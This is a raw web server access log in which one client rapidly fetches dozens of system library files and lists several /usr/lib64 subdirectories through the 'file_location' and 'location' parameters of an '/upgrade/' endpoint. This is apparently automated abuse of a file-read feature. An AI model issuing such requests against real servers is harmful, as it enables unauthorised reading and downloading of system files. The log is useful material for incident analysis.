45.135.193.11 - - [11/Sep/2026:22:55:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdecoder.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 209142 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwebpdecoder.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xfixes.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113271 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xfixes.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server_abyss.so.3.51&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116506 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server_abyss.so.3.51&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibMagickWand-6.Q16.so.7.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 558655 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibMagickWand-6.Q16.so.7.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqld.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 7505447 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqld.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXxf86vm.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113144 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXxf86vm.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasyncns.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 114220 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibasyncns.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibelf-0.194.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 156104 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibelf-0.194.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibffi.so.8.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123863 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibffi.so.8.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibidn2.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 157428 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibidn2.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5clnt_mit.so.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140014 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkadm5clnt_mit.so.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5support.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 129991 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrb5support.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblab_gamut.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 655861 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliblab_gamut.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmana.so.1.0.61.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121466 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmana.so.1.0.61.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSM.so.6.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119958 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSM.so.6.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_crypto.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125434 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_crypto.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc-binding.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 163306 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdcerpc-binding.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibformw.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 139855 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibformw.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibltdl.so.7.3.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122968 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibltdl.so.7.3.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicui18n.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1396804 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicui18n.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:37 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Frsyslog HTTP/1.1" 200 7840 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Frsyslog" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:38 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fsssd HTTP/1.1" 200 7151 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fsssd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibct.so.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 296548 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibct.so.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgexiv2.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 189886 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgexiv2.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrad.so.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119865 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkrad.so.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmana.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121573 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmana.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibidn.so.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 166881 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibidn.so.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpng16.so.16.37.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 216088 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpng16.so.16.37.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:41 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fcryptsetup HTTP/1.1" 200 6237 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fcryptsetup" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-link.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 183405 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSPIRV-Tools-link.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolorhug.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 141798 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolorhug.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgd.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 242481 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgd.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmartcols.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 151334 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsmartcols.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsombok.so.3.1.7&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133416 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsombok.so.3.1.7&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtclenvmodules.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110617 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtclenvmodules.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-signal.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119043 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-signal.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-client.so.3.2.9&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 133384 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-client.so.3.2.9&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstapp-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 138352 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstapp-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstnet-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 148629 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstnet-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-gobject.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131809 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibharfbuzz-gobject.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy.so.1.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131890 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy.so.1.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibthai.so.0.3.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121361 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibthai.so.0.3.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-mu.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 187354 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-mu.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-sys.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 149260 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-sys.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXi.so.6.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136722 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXi.so.6.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuio.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 129569 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuio.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-mb.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118519 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-mb.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbisfile.so.3.3.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120691 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibvorbisfile.so.3.3.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinerama.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107808 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinerama.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinput.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 146030 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xinput.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb.so.1.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 157619 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb.so.1.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:50 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Flibnfsidmap HTTP/1.1" 200 6350 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Flibnfsidmap" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgcrypt.so.20.4.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 629075 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgcrypt.so.20.4.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstfft-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 121923 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstfft-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmcheck.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 105821 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmcheck.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndp.so.0.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115506 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndp.so.0.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_compat.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120777 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_compat.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibutempter.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107802 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibutempter.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibutil.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106541 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibutil.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
